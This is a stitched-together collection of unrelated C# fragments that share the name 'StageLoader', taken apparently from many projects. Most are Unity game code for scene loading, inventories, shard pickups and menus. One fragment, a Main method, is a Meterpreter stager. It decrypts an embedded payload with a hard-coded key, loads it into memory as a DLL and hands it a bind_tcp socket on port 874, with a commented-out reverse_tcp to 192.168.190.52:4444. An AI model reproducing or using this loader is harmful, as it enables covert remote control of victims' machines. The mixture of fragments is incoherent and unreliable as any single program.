private IEnumerator loadScene(string sceneName, LuaTable newStage) { LuaTable lastStage = curStage; curStage = newStage; CallFunction(lastStage, "onExit"); stageLoader = new StageLoader(); CallFunction(newStage, "onEnter", stageLoader); while (stageLoader.MoveNext()) { yield return(null); } UnityEngine.SceneManagement.SceneManager.LoadScene(sceneName); while (UnityEngine.SceneManagement.SceneManager.GetActiveScene().name != sceneName) { yield return(null); } //wait a frame yield return(null); this.OnCompleted(); CallFunction(newStage, "onShow"); }
public int[] itemInventory_; //0 : none, 1: buy, 2: buy and used private void Awake() { playerScript_ = GameObject.Find("Player").GetComponent <PlayerScript>(); worldScript_ = gameObject.GetComponent <WorldScript>(); stageLoader_ = gameObject.GetComponent <StageLoader>(); shopScript_ = GameObject.Find("ShopUI").GetComponent <ShopScript>(); TimeText_ = GameObject.Find("UI").transform.Find("Time").GetComponent <Text>(); FishText_ = GameObject.Find("UI").transform.Find("Fish").GetComponent <Text>(); DistanceText_ = GameObject.Find("UI").transform.Find("Distance").GetComponent <Text>(); SpeedText_ = GameObject.Find("UI").transform.Find("Speed").GetComponent <Text>(); // create object instanace fishPool_ = new GameObject[FISH_INSCREEN_MAX_NUM]; largeHolePool_ = new GameObject[LARGE_HOLE_INSCREEN_MAX_NUM]; fishHolePool_ = new GameObject[FISH_HOLE_INSCREEN_MAX_NUM]; crackPool_ = new GameObject[CRACK_INSCREEN_MAX_NUM]; rockPool_ = new GameObject[ROCK_INSCREEN_MAX_NUM]; shopPool_ = new GameObject[SHOP_INSCREEN_MAX_NUM]; DebugText_ = GameObject.Find("UI").transform.Find("Debug").GetComponent <Text>(); itemInventory_ = new int[(int)Constant.ItemDef.TOTALITEMCOUNT]; for (int i = 0; i < (int)Constant.ItemDef.TOTALITEMCOUNT; ++i) { itemInventory_[i] = 0; } //currentStage_ = 1; }
// Start is called before the first frame update void Start() { if (instance == null) { instance = this; //DontDestroyOnLoad(gameObject); } else { Destroy(gameObject); } // 현재 스테이지의 기존 최고 점수를 게임 플레이 환경에 전달 // 플레이 종료 시점에 플레이어의 기록과 전달된 기존 기록을 비교해 최고 점수 여부를 판별 List <int> stepScoreList = DataContainer.instance.GetGameRecordStagesStep(loadLevel); for (int i = 0; i < 9 - stepScoreList.Count; i++) { stepScoreList.Add(int.MaxValue); } BrickDataContainer.SetCurStageBestStep(stepScoreList[loadStage - 1]); stageInfos = new StageInfo[3]; LoadStageInfoFromJson(); }
void Start() { DontDestroyOnLoad(gameObject); stageThings = new StageThing[100]; main = this; LoadStage(defaultStage); }
private void Awake() { if (instance == null) { container = this.gameObject; container.name = "StageLoader"; instance = GetComponent <StageLoader>(); DontDestroyOnLoad(this); } }
public void LoadTargetStage_CHEAT() { int level = int.Parse(levelInput.text); int stage = int.Parse(stageInput.text); LogMonitor.instance.AddLog($"## CHEAT CALLED ##"); LogMonitor.instance.AddLog($"lv : {level}, st : {stage}"); StageLoader.LoadStage(level, stage); LoadingManager.instance.LoadScene("IngameScene"); }
/// <summary> /// 异步加载本地当前场景切换 /// </summary> /// <param name="newStage">场景Lua状态</param> /// <param name="process">加载进度</param> public void LoadLocalScene(LuaTable newStage, Action <float> process) { LuaTable lastStage = curStage; curStage = newStage; stageLoader = new StageLoader(); CallFunction(lastStage, "onExit"); luaMgr.StartCoroutine(this.onLoading(process)); }
void OnSceneLoaded(Scene scene, LoadSceneMode mode) { isChangingState = false; blackPanelAlpha.startValue = 1f; blackPanelAlpha.endValue = 0f; blackPanelAlpha.TweenCompleted += SceneFadeinFinishEvent; blackPanelAlpha.Begin(); blackPanelAlpha.value = blackPanelAlpha.startValue; if (scene.buildIndex == (int)SCENE_INDEX.GAMESTAGE) { StageLoader.Instance().SetStage(StageLoader.NextStage); gameControlObj.SetActive(true); topCanvas.sortingOrder = 10; ReturnButton.SetActive(true); SettingShowButton.SetActive(true); if (StageLoader.CurrentStage == 1) { PlayerManager.Instance().playerController.isFainting = true; } GameManager.Instance().Time_LatestStartGame = DateTime.UtcNow; // #### TEST if (GameManager.Instance().IsTestMode) { testButton.gameObject.SetActive(true); } else { testButton.gameObject.SetActive(false); } } else { StageLoader.Instance().DisableStage(); gameControlObj.SetActive(false); topCanvas.sortingOrder = 0; ReturnButton.SetActive(false); SettingShowButton.SetActive(false); testButton.gameObject.SetActive(false); } PlayerManager.Instance().IsTriggerEnding = false; StartBGM(scene); ChangeEnvironment(scene); }
public void OnGetShard(MemoryShard shard) { if (shard.GetShardType() == SHARD_TYPE.SHARD1 || shard.GetShardType() == SHARD_TYPE.SHARD2) { int resultShardAmount = (int)(StageLoader.Instance().GetRandomShard(shard.GetShardType()) * StageLoader.Instance().GetShardMultifly()); PlayerStatus.CurrentMemoryShards += resultShardAmount; playerController.ShowShardGetText(resultShardAmount); } TopMostControl.Instance().StartGlobalLightEffect(shard.GetShardTargetColor(), 0.5f, 0.1f); GetPlayerControl().BlinkPlayerShardLight(shard.GetShardTargetColor()); SoundManager.PlayOneShotSound(SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_gainShard], SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_gainShard].clip); }
static void Main() { //byte[] dataBuff = null; //dataBuff = StageLoader.LoadBinData("192.168.190.52", 4444); //StageLoader.ExecuteBin(dataBuff); //load dll and m // load metsrv.x86.dll, call Init(socketFD) //string dll = @"C:\code\Repos\meterpreter\workspace\metsrv\Debug\Win32\metsrv.x86.dll"; ////Load //IntPtr Handle = StageLoader.LoadLibrary(dll); //if (Handle == IntPtr.Zero) //{ // int errorCode = Marshal.GetLastWin32Error(); // throw new Exception(string.Format("Failed to load library (ErrorCode: {0})", errorCode)); //} try { byte[] oldData = MpCsLoader.Properties.Resources.mpenc; byte[] dllData = Shared.Encryptor.DecryptData("intelnuc", oldData); IntPtr mod = MemoryLibrary.MemoryLoadLibrary(dllData, new string[] { }); unsafe { IntPtr init = MemoryLibrary.MemoryGetProcAddress((MemoryLibrary.MEMORYMODULE *)mod.ToPointer(), "Init"); MpInit func = (MpInit)Marshal.GetDelegateForFunctionPointer(init, typeof(MpInit)); // bind_tcp int sockfd = StageLoader.LoadBinData(null, 874); // reverse_tcp //int sockfd = StageLoader.LoadBinData("192.168.190.52", 4444); func(sockfd); } }//hehe catch (Exception x) { Console.WriteLine(x.ToString()); } //StageLoader.Init(sockfd); //Free //if (Handle != IntPtr.Zero) // StageLoader.FreeLibrary(Handle); }
void OnClickUpgradeButton(SKILL_TYPE skillType) { // Upgrade Possible if ((GetRequiredShardsForUpgrade(skillType) <= PlayerManager.Instance().PlayerStatus.CurrentMemoryShards) && (currentGameUIStatus == TOPUI_STATUS.GAMEOVER)) { int requiredShards = GetRequiredShardsForUpgrade(skillType); PlayerManager.Instance().PlayerStatus.CurrentMemoryShards -= requiredShards; GameConfigs.SetCurrentMemoryShards(PlayerManager.Instance().PlayerStatus.CurrentMemoryShards); GameConfigs.SetSkillLevel(skillType, GameConfigs.SkillLevel(skillType) + 1); foreach (UpgradeElement element in upgradeElements) { element.SetInfo(); } int effectShardAmount = (GameConfigs.SkillLevel(skillType) / 3) + 1; if (effectShardAmount < 1) { effectShardAmount = 1; } if (effectShardAmount > 10) { effectShardAmount = 10; } StageLoader.Instance().Generate_SkillUpgradeEffectShards(skillType, effectShardAmount); Vibration.Vibrate(3); StartGlobalLightEffect(Color.white, 1f, 0.2f); SoundManager.PlayOneShotSound(SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_powerUp], SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_powerUp].clip); if (onCameraShake != null) { onCameraShake(2); } } }
/// <summary> /// 加载切块的场景 /// </summary> /// <param name="newStage">场景Lua状态</param> public void LoadChunkScene(LuaTable newStage) { LuaTable lastStage = curStage; curStage = newStage; //下个场景名 string sceneName = newStage.GetStringField("stageName"); nextSceneName = sceneName; //过渡场景名 string transitScene = newStage.GetStringField("transitScene"); stageLoader = new StageLoader(); CallFunction(lastStage, "onExit"); UnityEngine.SceneManagement.SceneManager.LoadScene(transitScene); }
void Start() { Cursor.visible = false; Cursor.lockState = CursorLockMode.Locked; // Dialogs noSaveDataDialog.SetActive(false); saveDataExistsDialog.SetActive(false); settingsDialog.SetActive(false); quitDialog.SetActive(false); // Indicator Vector3 origin = menu_1.transform.position; origin.x += 2.5f; indicator.transform.position = origin; stageLoader = loading_1.GetComponent <StageLoader>(); PlayBgm(); }
public void SetPlayerController(bool active, bool isRightInit = true) { if (playerController.transform.parent != this.transform) { playerController.transform.parent = this.transform; } playerController.gameObject.SetActive(active); if (active) { playerController.transform.position = StageLoader.Instance().GetCurrentStage().GetPlayerInitPos().position; Vector3 tVec = playerController.playerAnimator.transform.localScale; if ((isRightInit && tVec.x < 0) || (!isRightInit && tVec.x > 0)) { tVec.x *= -1; playerController.playerAnimator.transform.localScale = tVec; } } }
/// <summary> /// 스테이지 선택 함수 /// </summary> /// <param name="stage">선택 스테이지.</param> public void SelectStage(int stage) { environmentAnim.SetTrigger("isEnter"); // 로딩시 출력 팁 선택 int tipOrder = -1; if (curSelectLevel == 1) { if (stage == 1) { tipOrder = 0; } else if (stage == 2) { tipOrder = 1; } } LoadingManager.instance.SetTip(tipOrder); StageLoader.LoadStage(curSelectLevel, stage); LoadingManager.instance.LoadScene("IngameScene", curSelectLevel, stage); }
void Start() { sceneStageMgr = SceneStageManager.Instance; Loader = sceneStageMgr.stageLoader; if (Time.timeScale <= 0f && !timeScaleIndependent) { Debug.LogWarning("Time.timeScale is set to 0 and you have not enabled 'Time Scale Independent' at the transition prefab. " + "Therefore the transition animation would never start to play. Please either check the 'Time Scale Independent' checkbox" + "at the transition prefab or set Time.timeScale to a positive value before changing the level.", this); return; // do not do anything in this case. } if (prefetchLevel) { Debug.LogWarning("You can only prefetch the level when using asynchronous loading. " + "Please either uncheck the 'Prefetch Level' checkbox on your level transition prefab or check the " + "'Load Async' checkbox. Note, that asynchronous loading (and therefore level prefetching) requires a Unity Pro license.", this); return; // don't do anything in this case. } StartCoroutine(DoTransition()); }
private void Awake() { instance = this; }
private static IEnumerator FadeInNewStage(int stageGroup, int stage, Action fadeCompleteCallBack = null, Action completeCallBack = null) { return(StageLoader.LoadStageWithFade(stageGroup, stage, fadeCompleteCallBack, completeCallBack)); }
public void Load(StageLoader loader) { Debug.Log($"Sending to stage {stageNumber}: {stageName}"); loader.LoadStage(this); }